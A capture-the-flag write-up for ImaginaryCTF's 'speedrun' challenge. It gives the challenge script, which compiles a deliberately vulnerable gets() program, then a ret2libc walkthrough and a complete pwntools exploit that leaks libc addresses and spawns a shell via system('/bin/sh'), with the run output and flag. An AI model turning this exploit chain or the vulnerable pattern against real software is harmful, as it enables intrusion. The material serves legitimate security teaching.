Skip to main content

SPEEDRUN

Description
I've seen some teams solve pwn challenges almost instantly. I'm sure y'all wonder how. Well, you're about to find out!

Attachments
https://imaginaryctf.org/r/4E9F-speedrun.py nc chal.imaginaryctf.org 42020
#!/usr/bin/env python3

import os
import sys
import subprocess
import base64
import random
import uuid
import time

code1 = '''
#include <stdio.h>

int main(void) {
char inp['''

code2 = '''];
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
gets(inp);
puts("Thanks!");
}
'''

art = '''
██████████████████████████
█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█
█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█
█▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█
█▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░█
█░░░██████▒▒▒░░░██████▒▒▒█
█░░░██████▒▒▒░░░██████▒▒▒█
█▒▒▒██████░░░▒▒▒██████░░░█
█▒▒▒██████░░░▒▒▒██████░░░█
█░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█
█░░░▒▒▒░░░██████▒▒▒░░░▒▒▒█
█▒▒▒░░░████████████▒▒▒░░░█
█▒▒▒░░░████████████▒▒▒░░░█
█░░░▒▒▒████████████░░░▒▒▒█
█░░░▒▒▒████████████░░░▒▒▒█
█▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█
█▒▒▒░░░███░░░▒▒▒███▒▒▒░░░█
█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█
█░░░▒▒▒░░░▒▒▒░░░▒▒▒░░░▒▒▒█
██████████████████████████
'''

def compile(size):
filename = "/tmp/bin" + str(uuid.uuid4())
open(filename + ".c", "w").write(code1 + str(size) + code2)
subprocess.run(["gcc", "-o", filename, filename + ".c", "-fno-stack-protector", "-no-pie"], capture_output=True)
os.remove(filename + ".c")
return filename

def handler(signum, frame):
print("Out of time!")

filename = compile(random.randint(20,1000))
binary = base64.b64encode(open(filename, "rb").read()).decode()
print(art)
print("I'll see you after you defeat the ender dragon!")

time.sleep(3)

print("---------------------------BEGIN DATA---------------------------")
print(binary)
print("----------------------------END DATA----------------------------")

subprocess.run([filename], stdin=sys.stdin, timeout=10)
os.remove(filename)

When we connect via ncat, we receive an ELF 64-bit binary (in base64) from a C code looking like that :

int main(void) {
char inp[<random>];
setvbuf(stdout,NULL,2,0);
setvbuf(stdin,NULL,2,0);
gets(inp);
puts("Thanks!");
}

At each connection the binary is slightly differrent : the size of inp is a random number between 20 and 1000.

And we have 10 seconds to spawn a shell and print the flag before the timeout.

So the only thing in the payload that will change will be the padding to trigger the buffer overflow.

Crafting the payload

We need to do a ret2libc, to achieve this we need to know what version of libc is used on the server.

Finding the libc

To find the libc we will leak libc address of two functions executed before the payload : puts and gets

puts@plt address will allow us to print the got of our two functions :

$ objdump -d binary
[...]
0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp *0x2fe2(%rip) # 404018 <puts@GLIBC_2.2.5>
401036: 68 00 00 00 00 push $0x0
40103b: e9 e0 ff ff ff jmp 401020 <.plt>
[...]

so puts@plt is 0x401030 Then with gdb we will find the got entry for puts and gets For puts@got.plt :

gdb> r
[...]
[-------------------------------------code-------------------------------------]
0x401193 <main+81>: mov eax,0x0
0x401198 <main+86>: call 0x401040 <gets@plt>
0x40119d <main+91>: lea rdi,[rip+0xe60] # 0x402004
=> 0x4011a4 <main+98>: call 0x401030 <puts@plt>
0x4011a9 <main+103>: mov eax,0x0
0x4011ae <main+108>: leave
0x4011af <main+109>: ret
0x4011b0 <__libc_csu_init>: push r15
Guessed arguments:
arg[0]: 0x402004 --> 0x21736b6e616854 ('Thanks!')
[...]

gdb> disas 0x401030
Dump of assembler code for function puts@plt:
0x0000000000401030 <+0>: jmp QWORD PTR [rip+0x2fe2] # 0x404018 <puts@got.plt>
0x0000000000401036 <+6>: push 0x0
0x000000000040103b <+11>: jmp 0x401020
End of assembler dump.

so puts@got.plt is 0x404018

Same thing for gets@got.plt : 0x404020

Last thing, a ROP gadget to use these addresses in arguments for puts :

$ ropper --file binary --search "% rdi"
[INFO] Load gadgets for section: LOAD
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: % rdi

[INFO] File: binary
0x000000000040107a: adc dword ptr [rax], eax; mov rdi, 0x401142; call qword ptr [rip + 0x2f66]; hlt; nop dword ptr [rax + rax]; ret;
0x0000000000401198: call 0x1040; lea rdi, [rip + 0xe60]; call 0x1030; mov eax, 0; leave; ret;
0x000000000040119d: lea rdi, [rip + 0xe60]; call 0x1030; mov eax, 0; leave; ret;
0x0000000000401077: mov ecx, 0x4011b0; mov rdi, 0x401142; call qword ptr [rip + 0x2f66]; hlt; nop dword ptr [rax + rax]; ret;
0x0000000000401076: mov rcx, 0x4011b0; mov rdi, 0x401142; call qword ptr [rip + 0x2f66]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040107d: mov rdi, 0x401142; call qword ptr [rip + 0x2f66]; hlt; nop dword ptr [rax + rax]; ret;
0x000000000040120b: pop rdi; ret;

The last one 0x000000000040120b: pop rdi; ret; is what we want Now the first payload will look like :

[ padding size+0x8 ] [ ROP ] [ puts@got.plt ] [ puts@plt ] [ ROP ] [ gets@got.plt ] [ puts@plt ] [ main ]

The last element [ main ] will redirect the code to the start of main to allow us to send the second payload to spawn a shell.

Launching the script gives us the libc addresses and using blukat we can get the libc version

Second payload

Now that we know libc offsets and address we can craft the payload to call system('/bin/sh')

The second payload will look like :

[ padding size+0x8 ] [ ROP ] [ binsh ] [ system ]

The shell is executed and we just have to send $ cat flag.txt

Here is the script to auto pwn in less than 10 seconds :

from pwn import *

import base64

conn = remote('chal.imaginaryctf.org', 42020)

p = log.progress('Receiving binary ')

conn.recvuntil(b'---------------------------BEGIN DATA---------------------------\n')
binary = base64.b64decode(conn.recvuntil(b'\n')[:-1])
conn.recvuntil(b'----------------------------END DATA----------------------------\n')

p.success('Done')

size_offset = 0x1149
size = struct.unpack('I',binary[size_offset:size_offset+4])[0]

log.info(f'size = {hex(size)}')

# Craft payload

puts_plt = 0x401030

puts_got = 0x404018
gets_got = 0x404020

rop = 0x40120b

main = 0x401142

payload = b'A'*(size+8)
payload += struct.pack('Q',rop)
payload += struct.pack('Q',puts_got)
payload += struct.pack('Q',puts_plt)
payload += struct.pack('Q',rop)
payload += struct.pack('Q',gets_got)
payload += struct.pack('Q',puts_plt)
payload += struct.pack('Q',main)

conn.send(payload+b'\n')
conn.recvuntil(b'Thanks!\n')

puts_libc = conn.recv(0x6)+b'\x00\x00'
puts_libc = struct.unpack('Q',puts_libc)[0]
log.info('puts_libc @ '+hex(puts_libc))
conn.recvuntil('\n')

gets_libc = conn.recv(0x6)+b'\x00\x00'
gets_libc = struct.unpack('Q',gets_libc)[0]
log.info('gets_libc @ '+hex(gets_libc))
log.info('libc : libc6_2.28-10_amd64')

puts_offset = 0x071910
libc_base = puts_libc - puts_offset
log.info('libc base : '+hex(libc_base))

system_offset = 0x0449c0
system = libc_base + system_offset
log.info('system : '+hex(system))

binsh_offset = 0x181519
binsh = libc_base + binsh_offset
log.info('/bin/sh : '+hex(binsh))

payload = b'A'*(size+8)
payload += struct.pack('Q',rop)
payload += struct.pack('Q',binsh)
payload += struct.pack('Q',system)

conn.send(payload+b'\n')
conn.recvuntil(b'Thanks!\n')

conn.send(b'cat flag.txt\n')
flag = conn.recvall().decode()
log.success('flag : '+flag)
$ python exploit.py
[+] Opening connection to chal.imaginaryctf.org on port 42020: Done
[+] Receiving binary : Done
[*] size = 0x290
[*] puts_libc @ 0x7f487b88c910
[*] gets_libc @ 0x7f487b88c040
[*] libc : libc6_2.28-10_amd64
[*] libc base : 0x7f487b81b000
[*] system : 0x7f487b85f9c0
[*] /bin/sh : 0x7f487b99c519
[+] Receiving all data: Done (42B)
[*] Closed connection to chal.imaginaryctf.org port 42020
[+] flag : ictf{4ut0m4t1ng_expl0it_d3v????_b7d75e95}

flag : ictf{4ut0m4t1ng_expl0it_d3v????_b7d75e95}